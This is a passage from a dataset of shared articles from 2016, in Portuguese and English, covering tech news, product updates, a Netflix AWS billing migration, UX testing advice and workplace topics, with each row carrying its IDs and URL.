mundo. - Recrutamento de helpers: Os helpers são futuros Sprint Masters. As pessoas vão adorar ajudar em troca da experiência para se tornar um Sprint Master. Além disso, eles estão sob o seu controle. Além disso, será conectado em nossas redes sociais e terá acesso à treinamentos e conteúdos exclusivos para a comunidade. Clique aqui para saber mais sobre a comunidade da serviceDesignSprints.com Data: 02/07/2016 (HiLo Coworking) Rua Aspicuelta, 345 - Vila Madalena, São Paulo Preço: a partir de R$950,00 * Para pagamento via boleto bancário entrar em contato através do e-mail pay@servicedesignsprints.com Sobre os facilitadores: Fundador e CEO. Renato Endo fez uma carreira como designer de serviço e gerente de projetos da Livework. Sua experiência em projetos de design de serviços tradicionais tem sido fundamental para a criação de ferramentas de gestão dos Sprint Masters e modelos de formação. Como CEO da serviceDesignSprints.com, ele é um líder na comunidade SM e faz questão de manter os nossos SMs conectados, afiados e atualizados. é Head do Hub América Latina da serviceDesignSprints.com. Consultor de inovação e empreendedorismo e professor no Brasil e América do Norte. Possui mestrado e design pela Universidade de Miami. Apaixonado por design como plataforma para transformações sociais, fundou a DesignEducation.ca no Canada em 2006: uma escola online sem fins lucrativos que oferece mais de 5000 recursos gratuitos hoje em dia. Gustavo Machado Gustavo está sempre buscando solucionar novos desafios globais em parceria com stakeholders locais. Tem dúvidas sobre o Boot camp São Paulo/SP :: Torne-se um Service Design Sprint Master?",pt
1466538298,CONTENT SHARED,-4767439283620384185,2062670502532932588,-7115355679914789228,,,,RICH,http://www.eventbrite.com/e/netbeans-day-brasil-2016-tickets-25820471726,NetBeans Day Brasil 2016,"Event Details Se você vem à São Paulo para o JavaOne 2016 , que tal um evento gratuito para começar bem a semana do maior evento de Java da América Latina? Participe do NetBeans Day e conheça mais sobre as novidades do mundo Java, do, e das tecnologias para construir seus softwares de forma mais rápida, produtiva, e com maior qualidade! Não perca, dia 27 de Junho de 2016 no auditório da Oracle do Brasil, à partir das 9:00 da manhã. Programação Java Champion, Architect Have questions about NetBeans Day Brasil 2016?",pt
1466540905,CONTENT SHARED,-3351656282247453586,3609194402293569455,-7072205224139961274,,,,HTML,https://techcrunch.com/2016/06/21/microsoft-expands-its-support-for-docker-containers/,Microsoft expands its support for Docker containers,"Docker is hosting its developer conference in Seattle this week and showcasing the quickly growing ecosystem that has grown up around its container tools. One of the companies on stage today was Microsoft, which announced that it is great expanding its support for Docker containers by more deeply integrating it into a number of its enterprise and DevOps tools. Microsoft's interest in Docker is no secret. It's even building Docker support right into the next release of Windows Server , after all (even as it's also building its own Hyper-V container solutions, too). Today, the company even showed how the upcoming Linux version of SQL Server can run in containers on Ubuntu. A few years ago, this last sentence would have turned heads - now, it's just how the new Microsoft operates. As far as these new integrations go, Microsoft today announced that Docker Datacenter , Docker's subscription-based commercial platform, is now available in the Azure marketplace, so anybody who wants to get a supported version of Docker up and running on Azure can now do so pretty quickly. In a demo today, Microsoft showed how Docker Datacenter could run on both Azure and Azure Stack - the forthcoming on-premises version of Azure that enterprises will be able to host in their own data centers. Given Microsoft's interest in hybrid deployments, this is likely a story we will hear more often from the company in the coming weeks and months. Users of Microsoft's Operations Management Suite will also be able to use this tool to manage container across Azure, Azure Stack and competing products and services like AWS, VMWare and OpenStack. In addition to all of this, the Azure Container Service will soon gain support for using Docker Swarm to manage Windows Server containers in addition to Linux containers.",en
1466541498,CONTENT SHARED,-5395935973320542237,3609194402293569455,-7072205224139961274,,,,HTML,https://techcrunch.com/2016/06/21/slack-debuts-message-buttons-bots-with-trello-kayak-and-10-more-to-perform-tasks-in-its-app/,"Slack debuts message buttons: bots with Trello, Kayak and 10 more to perform tasks in its app","Slack, the communication and collaboration platform for coworkers, now offers instant integrations with 500 other apps, letting people chat to each other while calling in projects and other content from elsewhere with simple short codes. And from today it's significantly stepping up the pace: Slack is launching ""message buttons"", a new way of instantly triggering actions in apps, without having to leave Slack at all. Slack says the new message buttons will debut with 12 apps - collaboration platform Trello, travel site Kayak, hiring management service Greenhouse, business intelligence site Qualtrics, contact center solution Talkdesk, incident management site PagerDuty, AI shopping assistant Kip, productivity tool Kyber, GIF sharing app Riffsy, expense app Abacus, accounting package Current, and helpdesk app Talkus. But the plan is to add in more over time, tapping into the 500 apps that the company says are now available in its app directory. The new services highlight two interesting trends, one Slack and one wider development. Slack - which now has 3 million daily active users overall and 930,000+ users that are paying for the service, with average use coming in at 10 hours/weekday - is continuing to build more services to make its platform much more sticky, essentially creating more ways of keeping users on its platform for longer. This is essential to the company's business model, which is based on a freemium concept where users have basic access for no charge, but pay for higher levels of storage and other features . Adding in a feature where users are able to perform tasks in apps within Slack itself will keep more people using it and will give them less of a reason to leave it (and using it more means needing to pay for more storage, security and archiving capabilities). The second development that this taps into is the bigger growth of ""bots"", essentially mini apps that automatically perform tasks and lead you through a set of actions within a specific application. Bots have been incorporated into messaging apps like Facebook's messenger, and into standalone services like Sapho, which develops bots for software that was never built with them to begin with. And now we have Slack's answer to that trend. More details on how each debut app will work below, per Slack itself: - Trello: A visual collaboration tool that gives teams of all sizes shared perspective on projects. Create cards, invite team members, add deadlines and additional detail to cards from within Slack. - Kayak: The world's leading travel search engine. Search for flights, hotels, rental cars, get instant flight updates through our Flight Tracker tool and set Price Alerts to see if prices change on the hotel or flight you want, all within Slack. - Greenhouse: Source, interview, hire, and onboard the right talent. Slack users can configure recruiting notifications to be sent directly to user or to a specific Slack channel, including Approvals, New Candidates, New Referrals, Agency Submissions and Scorecards Due. - Qualtrics: Qualtrics helps organizations gain and act on insights. The Qualtrics app allows for the creation and sending of mini surveys from within Slack for immediate feedback. - Talkdesk: Create a seamless link between companies' internal and external communications processes by integrating Talkdesk's powerful contact center solution with Slack. - PagerDuty: An agile incident management solution that integrates with ITOps and DevOps monitoring stacks, aggregates events, and correlates them into actionable alerts to improve operational reliability and agility. - Kip: An AI assistant for team shopping, helping office assistants and managers save time and frustration collecting orders for office purchases. - Kyber: The first conversational productivity suite for Slack, offering project management, calendars, reminders and to-do lists. Plan and track your team projects, send meeting invitations, assign tasks, and manage all of your to-dos, reminders and events. - Riffsy: Riffsy is the top downloaded GIF sharing app. The Slack integration allows you to search and browse for the perfect GIF in over 33 languages, making it even easier to share your thoughts and feelings in a fun new way. - Abacus: The only intelligent expense reporting solution, using data and behavior analysis to make recommendations and automate expense creation and approvals. Do everything from inviting your team to paying out reimbursements for approved expenses. - Current: Current is building the digital hub of your financial life. Through Slack, you can connect immediately and directly to the Current team. - Talkus: Talkus is your help desk, in Slack. Slack becomes the place for your team to communicate with customers, personally, on your website by live chat or by email, phone or SMS.",en
1466545925,CONTENT SHARED,-3552937095886146934,7392990465409599343,-8307053685706301292,,,,HTML,http://techblog.netflix.com/2016/06/netflix-billing-migration-to-aws.html,The Netflix Tech Blog: Netflix Billing Migration to AWS,"On January 4, 2016, right before Netflix expanded itself into 130 new countries , Netflix Billing infrastructure became 100% AWS cloud-native. Migration of Billing infrastructure from Netflix Data Center(DC) to AWS Cloud was part of a broader initiative. This prior blog post is a great read that summarizes our strategic goals and direction towards AWS migration. For a company, its billing solution is its financial lifeline, while at the same time, it is a visible representation of a company's attitude towards its customers. A great customer experience is one of Netflix's core values. Considering the sensitive nature of Billing for its direct impact on our monetary relationship with our members as well on financial reporting, this migration needed to be handled as delicately as possible. Our primary goal was to define a secure, resilient and granular path for migration to the Cloud, without impacting the member experience. This blog entry discusses our approach to migration of a complex Billing ecosystem from Netflix Data Center(DC) into AWS Cloud. Components of our Billing architecture Billing infrastructure is responsible for managing the billing state of Netflix members. This includes keeping track of open/paid billing periods, the amount of credit on the member's account, managing payment status of the member, initiating charge requests and what date the member has paid through. Other than these, billing data feeds into financial systems for revenue and tax reporting for Netflix accounting. To accomplish above, billing engineering encompasses: Batch jobs to create recurring renewal orders for a global subscriber base, aggregated data feeds into our General Ledger(GL) for daily revenue from all payment methods including gift cards, Tax Service that reads from and posts into Tax engine. Generation of messaging events and streaming/DVD hold events based on billing state of customers. Billing APIs provide billing and gift card details to the customer service platform and website. Other than these, Billing APIs are also part of workflows initiated to process user actions like member signup, change plan, cancellation, update address, chargebacks, and refund requests. Integrations with different services like member account service, payment processing, customer service, customer messaging, DVD website and shipping Billing systems had integrations in DC as well as in cloud with the cloud-native systems. At a high level, our pre-migration architecture could be abstracted out as below:- Considering how much code and data was interacting with Oracle, one of our objectives was to disintegrate our giant Oracle based solution into a services based architecture. Some of our APIs needed to be multi-region and highly available. So we decided to split our data into multiple data stores. Subscriber data was migrated to Cassandra data store. Our payment processing integration needed ACID transaction. Hence all relevant data was migrated to MYSQL. Following is a representation of our post migration architecture. As we approached the mammoth task of migration, we were keenly aware of the many challenges in front of us ... Our migration should ideally not take any downtime for user facing flows. Our new architecture in AWS would need to scale to rapidly growing the member base. We had billions of rows of data, constantly changing and composed of all the historical data since Netflix's inception in 1997. It was growing every single minute in our large shared database on Oracle. To move all this data over to AWS, we needed to first transport and synchronize the data in real time, into a double digit Terabyte RDBMS in cloud. Being a SOX system added another layer of complexity, since all the migration and tooling needed to adhere to our SOX processes. Netflix was launching in many new countries and marching towards being global soon. Billing migration needed to happen without adversely impacting other teams that were busy with their own migration and global launch milestones. Our approach to migration was guided by simple principles that helped us in defining the way forward. We will cover the most important ones below: Challenge complexity and simplify: It is much easier to simply accept complexity inherent in legacy systems than challenge it, though when you are floating in a lot of data and code, simplification becomes the key. It seemed very intimidating until we spent a few days opening up everything and asking ourselves repeatedly about how else we could simplify. Cleaning up Code : We started chipping away existing code into smaller, efficient modules and first moved some critical dependencies to run from the Cloud. We moved our tax solution to the Cloud first. Next, we retired serving member billing history from giant tables that were part of many different code paths. We built a new application to capture billing events, migrated only necessary data into our new Cassandra data store and started serving billing history, globally, from the Cloud. We spent a good amount of time writing a data migration tool that would transform member billing attributes spread across many tables in Oracle into a much simpler Cassandra data structure. We worked with our DVD engineering counterparts to further simplify our integration and got rid of obsolete code. Purging Data : We took a hard look at every single table to ensure that we were migrating only what we needed and leaving everything else behind. Historical billing data is valuable to legal and customer service teams. Our goal was to migrate only necessary data into the Cloud. So, we worked with impacted teams to find out what parts of historical data they really needed. We identified alternative data stores that could serve old data for these teams. After that, we started purging data that was obsolete and was not needed for any function. Build tooling to be resilient and compliant : Our goal was to migrate applications incrementally with zero downtime. To achieve this, we built proxies and redirectors to pipe data back into DC. This helped us in keeping our applications in DC , unimpacted by the change, till we were ready to migrate them. We had to build tooling in order to support our Billing Cloud infrastructure which needed to be SOX compliant. For SOX compliance we needed to ensure mitigation of unexpected developer actions and auditability of actions. Our Cloud deployment tool was enhanced to capture details of deployment and pipe events to and our Big Data Platform for auditability. We needed to enhance Cassandra client for authentication and auditable actions. We wrote new alerts using that would help us in monitoring our applications and data in the Cloud. With the help of our Data analytics team, we built a comparator to reconcile subscriber data in Cassandra datastore against data in Oracle by country and report mismatches. To achieve the above, we heavily used Netflix big data platform to capture deployment events, used sqoop to transport data from our Oracle database and Cassandra clusters to Hive. We wrote Hive queries and MapReduce jobs for needed reports and dashboards. Test with a clean and limited dataset first. How global expansion helped us : As Netflix was launching in new countries, it created a lot of challenges for us, though it also provided an opportunity to test our Cloud infrastructure with new, clean data, not weighted down by legacy. So, we created a new skinny billing infrastructure in Cloud, for all the user facing functionality and a skinny version of our renewal batch process, with integration into DC applications, to complete the billing workflow. Once the data for new countries could be successfully processed in the Cloud, it gave us the confidence to extend the Cloud footprint for existing large legacy countries, especially the US, where we support not only streaming but DVD billing as well. Decouple user facing flows to shield customer experience from downtimes or other migration impacts : As we were getting ready to migrate existing members' data into Cassandra, we needed downtime to halt processing while we migrated subscription data from Oracle to Cassandra for our APIs and batch renewal in Cloud. All our tooling was built around ability to migrate a country at time and tunnel traffic as needed. We worked with ecommerce and membership services to change integration in user workflows to an asynchronous model. We built retry capabilities to rerun failed processing and repeat as needed. We added optimistic customer state management to ensure our members were not penalized while our processing was halted. By doing all the above, we transformed and moved millions of rows from Oracle in DC to Cassandra in AWS without any obvious user impact. Moving a database needs its own strategic planning : Database movement needs to be planned out while keeping the end goal in sight, or else it can go very wrong. There are many decisions to be made, from storage prediction to absorbing at least a year's worth of growth in data that translates into number of instances needed, licensing costs for both production and test environments, using RDS services vs. managing larger EC2 instances, ensuring that database architecture can address scalability, availability and reliability of data. Creating disaster recovery plan, planning minimal migration downtime possible and the list goes on. As part of this migration, we decided to migrate from licenced Oracle to open source MYSQL database running on Netflix managed EC2 instances. While our subscription processing was using data in our Cassandra datastore, our payment processor needed ACID capabilities of an RDBMS to process charge transactions. We still had a multi-terabyte database that would not fit in AWS RDS with TB limitations. With the help of Netflix platform core and database engineering, we defined a multi-region, scalable architecture for our MYSQL master with DRBD copy and multiple read replicas available in different regions. We also moved all our ETL processing to replicas to avoid resource contention on the Master. Database Cloud Engineering built tooling and alerts for MYSQL instances to ensure monitoring and recovery as needed. Our other biggest challenge was migrating constantly changing data to MYSQL in AWS, without taking any downtime. After exploring many options, we proceeded with Oracle GoldenGate, which could replicate our tables across heterogeneous databases, along with ongoing incremental changes. Of course, this was a very large movement of data, that ran in parallel to our production operations and other migration for a couple of months. We conducted iterative testing and issue fixing cycles to run our applications against MYSQL. Eventually, many weeks before flipping the switch, we started running our test database on MYSQL and would fix and test all issues on MYSQL code branch before doing a final validation on Oracle and releasing in production. Running our test environment against MYSQL continuously created a great feedback loop for us. Finally, on January 4, with a flip of a switch, we were able to move our processing and data ETLs against MYSQL. While our migration to the Cloud was relatively smooth, looking back, there are always a few things we could have done better. We underestimated testing automation needs. We did not have a good way to test end to end flows. Having spent enough effort on these aspects, upfront, would have given us better developer velocity. Migrating something as critical as billing with scale and legacy that needed to be addressed was plenty of work, though the benefits from the migration and simplification are also numerous. Post migration, we are more efficient and lighter in our software footprint than before. We are able to fully utilize Cloud capabilities in tooling, alerting and monitoring provided by the Netflix platform services. Our applications are able to scale horizontally as needed, which has helped us in keeping up our processing with subscriber growth. In conclusion, billing migration was a major cross functional engineering effort. Different engineering teams: core platform, security, database engineering, tooling, big data platform, business teams and other engineering teams supported us through this. We plan to cover focused topics on database migration and engineering perspectives as a continuing series of blog posts in the future. Once in the Cloud, we now see numerous opportunities to further enhance our services by using innovations of AWS and the Netflix platform. Netflix being global is bringing many more interesting challenges to our path. We have started our next big effort to re-architect our billing platform to become even more efficient and distributed for a global subscriber scale. If you are interested in helping us solve these problems, we are !",en
1466554505,CONTENT SHARED,-486686184692655504,301435144665447655,-1829113829080633353,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/06/new-settings-for-2-step-verification.html,New settings for 2-Step Verification,"We know that security is one of your top concerns as a Google Apps admin and that many of you require your employees to turn on 2-Step Verification (2SV) to keep their accounts safe. There are multiple ways your end users can approve sign-in requests via 2SV-by tapping a Security Key , by entering a verification code sent to their phone or, starting today, by approving a prompt like the one below that will pop up on their phone. Your employees can now choose any of these options in the Sign-in & Security > Signing in to Google > 2-Step Verification section of My Account . The Help Center will be updated with detailed instructions soon; check back here for links to the relevant articles. Currently, you can't have Security Keys and Google prompt enabled at the same time. A data connection is required to use Google prompt. Android users will need updated Google Play Services to use Google prompt. iOS users will need the Google Search app installed on their phone to use Google prompt. Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested/FYI Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1466558524,CONTENT SHARED,8920226233198909725,-1443636648652872475,5646250801415915324,,,,HTML,https://openai.com/blog/openai-technical-goals/,OpenAI technical goals,"OpenAI's mission is to build safe AI, and ensure AI's benefits are as widely and evenly distributed as possible. We're trying to build AI as part of a larger community, and we want to share our plans and capabilities along the way. We're also working to solidify our organization's governance structure and will share our thoughts on that later this year. Our metric Defining a metric for intelligence is tricky, but we need one to measure our progress and focus our research. We're thus building a living metric which measures how well an agent can achieve its user's intended goal in a wide range of environments. The metric will consist of a variety of OpenAI Gym environments with a unified action and observation space (so a single agent can run across all of them), including games, robotics, and language-based tasks. Our implementation will evolve over time, and we'll keep the community updated along the way. Our research A significant fraction of our research bandwidth is being spent on fundamental research. We'll always be developing and testing new ideas, especially those that don't fit neatly into our current worldview. This is important - our current ideas will not be enough to achieve our long-term goal. We've also formed teams around specific projects. The intention isn't just to solve these problems, but to develop general learning algorithms in the process. These algorithms will, in turn, help us build agents that are more capable according to our metric. These projects are: We're working to enable a physical robot (off-the-shelf; not manufactured by OpenAI) to perform basic housework. There are existing techniques for specific tasks, but we believe that learning algorithms can eventually be made reliable enough to create a general-purpose robot. More generally, robotics is a good testbed for many challenges in AI. We plan to build an agent that can perform a complex task specified by language, and ask for clarification about the task if it's ambiguous. Today, there are promising algorithms for supervised language tasks such as question answering , syntactic parsing and machine translation but there aren't any for more advanced linguistic goals, such as the ability to carry a conversation, the ability to fully understand a document, and the ability to follow complex instructions in natural language. We expect to develop new learning algorithms and paradigms to tackle these problems. We aim to train an agent capable enough to solve any game in our initial metric. Games are virtual mini-worlds that are very diverse, and learning to play games quickly and well will require significant advances in generative models and reinforcement learning . (We are inspired by the pioneering work of DeepMind , who have produced impressive results in this area in the past few years.) Our projects and fundamental research all have shared cores, so progress on any is likely to benefit the others. Each captures a different aspect of goal-solving, and was chosen for its potential to significantly move our metric. We're just getting started on these projects, and the details may change as we gain additional data. We also expect to add new projects over time.",en
1466563387,CONTENT SHARED,-3285397592982852407,-2626634673110551643,3199267762118537905,,,,HTML,http://www.valor.com.br/empresas/4609273/bradesco-vai-testar-tecnologia-por-tras-do-bitcoin-em-sao-paulo,Bradesco vai testar tecnologia por trás do bitcoin em São Paulo,"SÃO PAULO - O Bradesco vai fazer, até o fim do ano, em São Paulo, um teste de uso do ""blockchain"", a tecnologia por trás da moeda virtual bitcoin. Se o cronograma for mantido, será o primeiro teste prático da tecnologia feito por um banco brasileiro. O ""blockchain"" funciona como um livro-caixa de transações feitas no mundo digital. A tecnologia tem atraído a atenção dos bancos ao redor do mundo por duas razões principais. As transações registradas não podem ser apagadas nem alteradas, o que garante segurança ao sistema. O funcionamento também independe de grandes estruturas de tecnologia, o que pode representar uma redução de custos em relação às formas tradicionais de processamento de transações. Segundo Marcelo Frontini, diretor de pesquisa e inovação do Bradesco, o teste com o ""blockchain"" será feito em Paraisópolis, Zona Sul da capital paulista, em parceria com a startup eWally. A empresa foi uma das selecionadas da mais recente turma do InovaBRA, programa de apoio a startups do Bradesco. A empresa desenvolveu uma carteira digital que pode ser usada com um smartphone para pagamentos e transferência de dinheiro. O ""blockchain"" é a tecnologia por trás do sistema. De acordo com o executivo, o sistema será integrado à rede de correspondentes bancários Bradesco Expresso. Assim, quem quiser fazer um depósito, retirar dinheiro ou fazer um pagamento usando a eWally, poderá ir a um desses pontos. ""Usando o Bradesco como entrada e saída, conseguimos monitorar o uso, o que dá segurança ao teste"", disse. O Bradesco está levando o ""blockchain"" bastante a sério. O banco acabou de se integrar ao consórcio R3, que reúne 43 bancos de todo o mundo para estudar e criar padrões para o uso do sistema. É o segundo banco nacional a entrar no consórcio. O Itaú foi o primeiro, há dois meses. Além da carteira digital da eWally, o Bradesco também vai fazer testes com o sistema de transferência de dinheiro por meio de remessas internacionais da startup BitOne, outra recém-aprovada no InovaBRA. Nesse caso, no entanto, as avaliações ainda são iniciais, para verificar a viabilidade do modelo. A BitOne desenvolveu um sistema de proteção cambial para as transferências (""hedge""), que tem o objetivo de reduzir o impacto de conversão do bitcoin para a moeda do destinatário da transferência. De acordo com Frontini, é preciso avaliar se o custo desse hedge não será alto demais, inviabilizando o sistema. O banco também está em conversas com a startup Ripple Labs, a principal referencia em remessas internacionais usando ""blockchain"". O ""blockchain"" é uma das vertentes do grupo de trabalho criado pelo Banco Central (BC) para discutir as ""fintechs"", como vêm sendo chamadas as tecnologias voltadas ao setor financeiro.",pt
1466593972,CONTENT SHARED,-5405021817466310759,-108842214936804958,-8267166017753788742,,,,HTML,http://blog.invisionapp.com/ux-usability-research-testing/,Why 5 is the magic number for UX usability testing,"The research needed to create a flawless user experience is of greater importance than ever, but there remains a lot of confusion surrounding the process of usability testing. In-depth research is one thing, but having actual tests to check the solidity of your design is just as important. Many people and companies shy away from the practice of usability testing, believing it involves a lot of resources and expenses. And while others understand that it doesn't have to be expensive or time-consuming, they still don't get it completely right and overcomplicate things -rendering their usability tests less useful than they could be. In reality, the best results come from stringing together many smaller tests that include 5 users at a time. ""When it comes to usability testing, 5 is the magic number."" Why is usability testing important? Because user experience is a such a large field and UX designers are charged with the giant task of building a pleasing ""overall experience,"" flaws are a natural and often unavoidable part of the design process. Remember the HealthCare.gov launch ? It was an info-dense hellstorm of a website that was consistently abandoned by frustrated users. Despite a well-designed, simple wireframe with clearly labeled information and a navigable structure, the deeper people got into the process of finding insurance, the more complicated their experience became. The highlight of this failure was an overblown security process that took up to 60 minutes to complete, leaving users to scramble for alternatives. Situated Research found that ""the early stages of application on HealthCare.gov look simple, and encourage users to begin an application; however, the reality is a long process with difficulties that waste users' time and a delayed gratification of shopping for coverage."" ""The more users you add to a test group, the less you'll learn."" Usability testing is the number-one tool for making sure these usability flaws don't happen. Without proper usability testing, the result for HealthCare.gov led to nationwide difficulty in obtaining insurance through the public marketplace and boatloads of public bashing , but that all could have been easily avoided. Despite popular misconceptions about how cumbersome this process is, you really only need 5 test users per testing group to make sure your product offers a smooth experience. What's so magical about the number 5? Given that the probability of a user encountering an error during testing is 31%, according to Jeff Sauro of MeasuringU, testing just 5 users would turn up 85% of the problems in an interface. This conclusion is brought to you by binomial probability, or what may be better known as the Poisson Distribution -which can show us the chances of achieving n successes in N trials. A Poisson Distribution with a 31% binomial probability shows that once you add more than 5 users to a test group, returns diminish drastically - the more users you add to a test group, the less you'll learn. If you have 3 test users, you'll catch about 65% of the problems. With 4 users you'll catch 75%, and with 5 you'll catch 85%. Once you cross the threshold at 5 and begin to add more test users, the increase of issues that you'll uncover reduces: With 6, you'll catch 90% of the issues; with 8, you'll catch 95%; and with 12, you'll catch 99%. These diminishing returns are due to the fact that user experiences overlap. According to the Nielsen Norman Group , ""As soon as you collect data from a single test user , your insights shoot up and you have already learned almost a third of all there is to know about the usability of the design... When you test the second user , you will discover that this person does some of the same things as the first user... People are definitely different, so there will also be something new that the second user does that you didn't observe with the first user... The third user will do many things that you already observed... Plus, of course, the third user will generate a small amount of new data, even if not as much as the first and second user did."" The amount of new data collected decreases with each test user and flattens out most prominently at 5 test users, making 5 users the right size for the right value. Research difficulties A word of caution: Don't fetishize the numbers here by solely focusing on your test users' quantitatively recorded feedback. The qualitative experience of your users is critical-your test users will struggle with a certain aspect of your website, and understanding why and working with them to brainstorm solutions is essential. For example, perhaps your test users found the shift in color scheme from the homepage to the signup screen jarring? Instead of only receiving some vague quantification of the color scheme issues, you can prompt users to explain. The blue used for the navigation bar on the homepage is too similar to the blue on the signup screen's continue button? That's any easy fix. At the same time, getting the most out of your 5 test users in a research session requires a specific skillset, so your demeanor and positioning in relation to the test user is key. No test user wants someone hovering over them , asking leading questions, and appearing hurt when criticism is voiced. Conduct yourself accordingly. No test user will respond candidly in an uncomfortable setting. Put test users at ease by opening with an informal chat, start the meeting by clearly explaining your goals, and continue to speak conversationally with curiosity as your main motivation. How did you feel about X? Why did Y make you feel Z? ""With test users, speak conversationally with curiosity as your main motivation."" The controversy No one doubts the accuracy of the Poisson Distribution, but there's some controversy surrounding the use of 31% as the average problem frequency. While 31% is a problem frequency that has been derived from many studies, only very new active websites and applications may be so vulnerable. More streamlined and polished products may, in fact, have a much lower problem frequency. For instance, let's say one issue will only affect 5% of the population. According to binomial probability, this new frequency would change the number of users necessary to find the problem. As a baseline, 5 is still the golden rule in UX usability testing . Of course, it's impossible to know the probability of discovery for every potential problem. According to MeasuringU, ""As a strategy, pick some percentage of problem occurrence, say 20%, and likelihood of discovery, say 85%, which would mean you'd need to plan on testing 9 users . After testing 9 users, you'd know you've seen most of the problems that affect 20% or more of the users. If you need to be surer of the findings, then increase the likelihood of discovery, for example, to 95%. Doing so would increase your required sample size to 13."" Any number of factors-the level of refinement of your website, the size of your user base, or likelihood of discovery for a problem-can change your magic number for usability testing drastically. As a baseline, though, 5 is still the golden rule. Limit testing to 5 users and you'll uncover the majority of problems that plague your website or app, while still keeping your costs low and the process simple.",en
1466594437,CONTENT SHARED,-7217198366041991957,6735372008307093370,1199799298901147034,,,,HTML,http://www.papelpop.com/2016/06/youtube-chama-seus-criadores-de-conteudo-para-campanha-mundial-orgulhodeser/,YouTube chama seus criadores de conteúdo para a campanha mundial #OrgulhoDeSer,"Junho, para quem não sabe, é o mês do Orgulho LGBT mundial. Foi em 28 de junho de 1969 que, pela primeira vez, grupos homossexuais se juntaram para combater a repressão policial em frente ao bar Stonewall Inn, em Nova York. Até hoje, aliás, a Parada do Orgulho LGBT acontece próxima a essa data na cidade. Mas foi também em junho, em pleno ano de 2016, que 49 pessoas perderam suas vidas ao estarem curtindo e sendo livres no lugar onde se sentiam mais seguras, a boate LGBT Pulse, em Orlando, também nos Estados Unidos. Por tudo isso, a plataforma YouTube resolveu criar uma campanha para que os seus principais criadores de conteúdo LGBTs, de todo o mundo, declarassem o seu #ProudToBe, ou #OrgulhoDeSer em bom português, para revelarem os motivos pelos quais eles, obviamente, têm orgulho de ser quem são. O evento é mundial e o Brasil também está incluído. Nesta terça-feira (21), o YouTube daqui divulgou a sua playlist com 20 vídeos de 20 canais de criadores LGBTs ou que tenham conteúdo voltado para esse público. Lorelay Fox, Federico Devito, o pessoal do Canal das Bee, os meninos do Põe Na Roda e muitos outros youtubers gravaram os seus vídeos, que podem ser assistidos abaixo: ""Mais que nunca é fundamental amar e aceitar as pessoas de todas as identidades e se juntar em solidariedade. Esperamos que os vídeos e vozes de nossos criadores seja uma fonte de orgulho e inspiração para todas as comunidades LGBTQA ao redor do mundo"", disse o YouTube do Brasil em nota à imprensa. Segundo a empresa, a comunidade LGBTQA terá também espaço nos YouTube Spaces de New York e do Canadá nas próximas semanas. Como a gente já falou lá em cima, a campanha #ProudToBe é global e, para divulgá-la, o YouTube preparou também um vídeo reunindo trechos dos canais de seus criadores internacionais mais famosos, como Tyler Oakley e o hoje cantor Troye Sivan.",pt
1466601808,CONTENT SHARED,1339353160969606996,-4298177694576275482,2940032566262117944,,,,HTML,https://docs.intercom.io/configure-intercom-for-your-product-or-site/staying-secure/enable-secure-mode-on-your-web-product,Enable secure mode on your web product | Intercom Docs,"We strongly encourage all Intercom customers to enable secure mode. Here's how: Secure mode helps to make sure that conversations between you and your users are kept private, and that one user can't impersonate another. It works by using a server side generated HMAC (hash based message authentication code) , using SHA256, on either the user's users_id or email. This guide with example code will help you create the hash. But take note of these things you need to know when enabling secure mode: Once you've enabled secure mode it stays on. There are some instances when you shouldn't enable secure mode. For example, if you enable secure mode on your production Intercom app from a dev server (and don't modify your live production app's integration to work with secure mode) this will cause your current live Javascript integration to fail for users. This means your users won't see the chat widget and you won't get Javascript updates. Make sure you don't remove the user_id or email from your Intercom settings. Make sure to use the correct user data to calculate the hash. If you send Intercom a user_id in your Intercom Settings, you must use the correct user data to calculate the hash. If you are already sending us over user_id, then you must send us over user_id to calculate the user_hash. If you're only sending us email, then you need to send us email to calculate the hash. If you're sending us over both user_id and the users email address, then you must use user_id to calculate the hash. You must use the secret key that we provide you with in the code (you can find your secret key in your app settings). Making up your own secret won't work. And don't confuse this with your app_id. They're different things. Secure mode is activated as soon as we receive your first valid request using the user hash. Once enabled, we will no longer accept non-secure requests. Once you have enabled secure mode, you should group your users by company. Need help? If you run into any problems while enabling secure mode, just let us know - we're always here to help.",en
1466605328,CONTENT SHARED,2719909253419802298,-5527145562136413747,101989957506145943,,,,HTML,http://blog.runrun.it/mulheres-millenials-geracao-y/,As expectativas das mulheres da Geração Y são muitas,"Elas configuram uma nova era do talento nas empresas: alta escolaridade, confiança, ambição e objetivos claros em relação à carreira. Nascidas entre 1980 e 1995, as mulheres da Geração Y , ou millenials, têm levado novas demandas ao mundo corporativo. Elas são comunicativas, gentis, democráticas e participativas. E estão promovendo mudanças de comportamento e criando novas expectativas dentro do mercado de trabalho. Por outro lado, apesar da grande atenção que a Geração Y recebe , poucos estudos que mapearam as atitudes e valores profissionais deste grupo diferenciaram seus integrantes por gênero. E, apesar de e mpresas de todo o mundo enfrentarem os desafios de remodelar e rejuvenescer sua força de trabalho, lhes faltam mulheres em posições de liderança. Este post vai mostrar um pouco mais sobre a profissional millennial, suas capacidades e fragilidades, para você tentar trazê-la para a sua equipe. Em muitas empresas, as posições de cunho gerencial e alto poder decisório estão sendo igualmente disputadas por ambos os sexos. Entretanto, a discriminação ainda existe e fica exposta quando o assunto é salário. Segundo pesquisa publicada pela PUC-RIO em 2014, a diferença entre a remuneração de homens e mulheres com o mesmo cargo é de até 30%. Este quadro levou o Brasil a ocupar o 82º lugar em um ranking sobre desigualdade de sexos , com 135 países, conforme pesquisa realizada pelo World Economic Forum (WEF). A PwC, consultoria global, tem 50% de profissionais mulheres e 80% de profissionais da geração Milênio. Em parceria com o Instituto Optimum Research, divulgou a pesquisa "" The female millennial - A new era of talent "" em 2015. O estudo mostrou que 53% das mulheres classificaram as oportunidades de progresso na carreira como a característica mais atraente da empresa. Infelizmente, 71% das entrevistadas disseram não sentir que as oportunidades são realmente iguais para homens e mulheres. A densa participação da mulher no mercado de trabalho abre novas perspectivas tanto na esfera pública quanto na privada. Os números só crescem: elas já atingem escolaridade superior a dos seus colegas homens e, cada vez mais, investem na formação técnica e intelectual com o objetivo de alcançar novos espaços em todas as camadas organizacionais. As millenials demonstram grandes expectativas profissionais, procuram tarefas que proporcionem desafios, reconhecimento, crescimento e desenvolvimento, e que permitam trabalhar com autonomia. É a autoconfiança que abre portas para isso. Ou, em uma expressão muito usada hoje em dia, o ""empoderamento 